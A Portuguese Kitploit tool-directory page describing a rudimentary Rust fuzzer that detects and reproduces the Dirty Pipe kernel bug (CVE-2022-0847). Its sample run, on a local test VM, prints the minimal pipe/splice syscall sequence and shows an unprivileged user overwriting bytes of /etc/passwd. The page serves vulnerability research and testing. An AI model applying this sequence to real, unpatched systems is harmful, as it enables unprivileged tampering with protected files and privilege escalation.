Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
reproducer-poc-CVE-2022-0847 — PoC muito rudimentar para detectar/reproduzir CVE-2022-0847 (dirty pipe) através de geração aleatória de chamadas de sistema e fuzzing diferencial contra um modelo. | Kitploit
Ferramentas/GitHubGitHub/stfnw/reproducer-poc-cve-2022-0847
Análise Dinâmica (Sandboxing)Análise de VulnerabilidadesExploraçãoFuzzingTestes de PenetraçãoExploração de Binários
GitHubstfnw/reproducer-poc-cve-2022-0847

reproducer-poc-CVE-2022-0847

PoC muito rudimentar para detectar/reproduzir CVE-2022-0847 (dirty pipe) através de geração aleatória de chamadas de sistema e fuzzing diferencial contra um modelo.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
11há 8 mesesAinda não revisado
Compartilhar

Detector e reprodutor ingênuo do CVE-2022-0847 (dirty pipe). Usa um gerador simples de sequências de syscalls / programas a partir de um conjunto propositalmente limitado de blocos de construção / valores de entrada (apenas geração, sem fuzzing avançado; sem mutação; sem orientação de cobertura; sem redução / minimização) e detecta mau comportamento inspirado por teste baseado em propriedades com estado, comparando valores de retorno de cada ação em um modelo e no kernel real (fuzzing diferencial contra um modelo).

Como um aviso: o código usa muitos números mágicos / hacks / valores embutidos nos blocos de construção para ser capaz de gerar o PoC mínimo desencadeador. Portanto, não é realmente (apenas parcialmente) representativo para geração realista da sequência correta de syscalls com os parâmetros corretos. Geração não guiada através de todos os parâmetros no grande espaço de estados possíveis provavelmente levaria muito mais tempo.

Tentei marcar todos os lugares onde um valor ou a escolha de ações é diretamente influenciada pelo conhecimento assumido sobre o próprio poc -- e que, portanto, teriam que ser encontrados aleatoriamente para um poc totalmente realista -- com a string "MAGIC VALUE".

Isso deve ser visto como uma prova de conceito muito rudimentar.

Exemplo de execução bem-sucedida:

# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux

# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"

# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:

# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847

# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

Saída:

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 6f 6f 74 3a 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |root::0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34

thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
  - [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
  - [PipeFd { buf: [0], capacity: 65536 }]
  - Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])

Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

$ # note that this poc is found practically instantly

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 00 00 00 00 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |r....:0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

Observe que este poc é ligeiramente diferente do de build-kernel-and-minimal-poc, já que a ordem das syscalls é alterada de uma forma que não importa para o bug. Isso mostra que a execução em passo sincronizado dos comandos contra o modelo e o SUT do mundo real também identifica corretamente essa situação.

Baixar ferramenta